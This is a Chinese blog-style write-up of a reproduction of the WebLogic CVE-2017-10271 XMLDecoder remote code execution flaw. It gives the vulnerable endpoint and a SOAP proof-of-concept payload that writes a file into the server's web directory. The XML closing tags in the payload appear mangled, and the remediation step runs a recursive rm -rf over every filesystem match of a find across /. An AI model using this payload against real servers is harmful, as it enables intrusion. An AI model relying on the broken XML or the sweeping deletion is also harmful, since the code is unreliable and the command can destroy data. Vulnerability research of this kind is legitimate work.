java 代码执行 export命令_Weblogic远程代码执行漏洞

简介：

WebLogic WLS组件中存在CVE-2017-10271远程代码执行漏洞，可以构造请求对运行WebLogic中间件的主机进行攻击。

    XMLDecoder用于将XMLEncoder创建的xml文档内容反序列化为一个Java对象，其位于java.beans包下。

影响版本：

10.3.6.0.0、12.1.3.0.0、12.2.1.1.0、12.2.1.2.0

漏洞复现：

首先在登陆界面查看weblogic的版本

访问/wls-wsat/CoordinatorPortType11

如果存在此界面证明存在此漏洞，该漏洞就是利用此文件来进行远程代码执行

Payload

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">      <soapenv:Header>        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">         <java version="1.6.0" class="java.beans.XMLDecoder">                    <object class="java.io.PrintWriter">                        <string>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/test1.txtstring><void method="println">                        <string>xmldecoder_vul_teststring>void><void method="close"/>                    object>            java>        work:WorkContext>      soapenv:Header>      <soapenv:Body/>soapenv:Envelope>

漏洞修复：

删除weblogic的wls-wsat组件，在删除的过程中先暂停weblogic服务。

rm -rf `find / -name wls-wsat*`

漏洞原理：

CVE-2017-10271漏洞主要是由WebLogic Server WLS组件远程命令执行漏洞，主要由wls-wsat.war触发该漏洞，触发漏洞url如下：http://192.168.xx.xx:7001/wls-wsat/CoordinatorP ortType。post数据包，通过构造构造SOAP(XML)格式的请求，在解析的过程中导致XMLDecoder反序列化漏洞。

自我收获：

这个漏洞首先比较老一些但是首先对自己思路上的一个启示，weblogic的这个漏洞是来源于wls-wsat组件的，所以在于以后的测试过程当中我对于一些组件可以有测试的意识，让自己测试的思路更加完善，然后就是通过这个复现我了解了wls-wsat这个组件